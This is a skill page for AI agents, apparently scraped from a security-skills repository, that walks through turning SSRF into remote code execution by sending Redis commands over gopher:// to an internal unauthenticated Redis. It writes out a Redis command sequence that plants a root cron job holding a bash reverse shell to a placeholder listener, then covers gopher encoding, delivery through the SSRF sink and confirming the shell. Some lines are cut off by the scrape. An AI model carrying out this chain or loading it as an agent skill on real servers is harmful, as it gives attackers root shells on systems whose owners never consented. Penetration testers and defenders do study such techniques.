Web ssrf gopher redis rce

From NoorQureshi/security-skills · View interactive version

Web ssrf gopher redis rce is an AI agent skill from the GitHub repository NoorQureshi/security-skills. Turn a server-side request (SSRF) into RCE by speaking the Redis protocol over gopher:// to an internal, unauthenticated Redis — write a cron job, an SSH key, or a webshell. Load when: SSRF is confirmed (URL fetch, webhook, PDF/URL preview, image proxy) AND an internal Redis/6379 (or similar line-pr

How to use this skill

Skill file

SSRF → internal Redis → RCE via gopher://

When it applies

URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow

gopher:// (curl-backed fetchers commonly do).

service) and is unauthenticated (default) or you know the password.

Why it works

Redis speaks a simple newline/inline text protocol. gopher:// lets you send **arbitrary

raw bytes** to a TCP port, so you can pipeline real Redis commands through the SSRF.

Redis can write files (CONFIG SET dir + dbfilename + SAVE), so you overwrite a file

that gets executed: a cron job, ~/.ssh/authorized_keys, or a web-root PHP file.

Method

  1. Confirm SSRF reaches Redis: point the SSRF at gopher://127.0.0.1:6379/_PING and look

for +PONG behaviour / no error (or a timing/response difference).

  1. Pick a write primitive based on what the Redis user can write:

or /etc/cron.d/x a reverse-shell line.

dbfilename=authorized_keys).

  1. Build the Redis command sequence (example — cron reverse shell):

```

flushall

set x "\n\n/1 * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n"

config set dir /etc/cron.d

config set dbfilename runme

save

```

  1. Encode to a gopher URL: each command as a CRLF-terminated line, URL-encode

(%0D%0A between commands), prefix gopher://127.0.0.1:6379/_. Use Gopherus

(gopherus --exploit redis) to generate the payload correctly — hand-encoding is error-prone.

  1. Deliver the gopher URL through the SSRF sink; start your listener; wait for cron (≤60s) or

use the SSH key / webshell immediately.

Tools

Gotchas

garbage doesn't break the crontab line. Cron also requires a trailing newline and (in

/etc/cron.d / crontabs/root) the root user field.

SSH key for the redis user or a webshell in a writable web root.

reachable only via SSRF from localhost it's usually exploitable.

Verify success

gopher://…/_PING behaviour differs from a closed port; after SAVE, your listener

catches a shell (cron) or the SSH key logs in. CONFIG GET dir echoing your path confirms

the write target was accepted.

Learned on

Reference technique (common SSRF-chain pattern). Capture the target-specific SSRF sink and the

exact writable path in your engagement notes when you use it.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.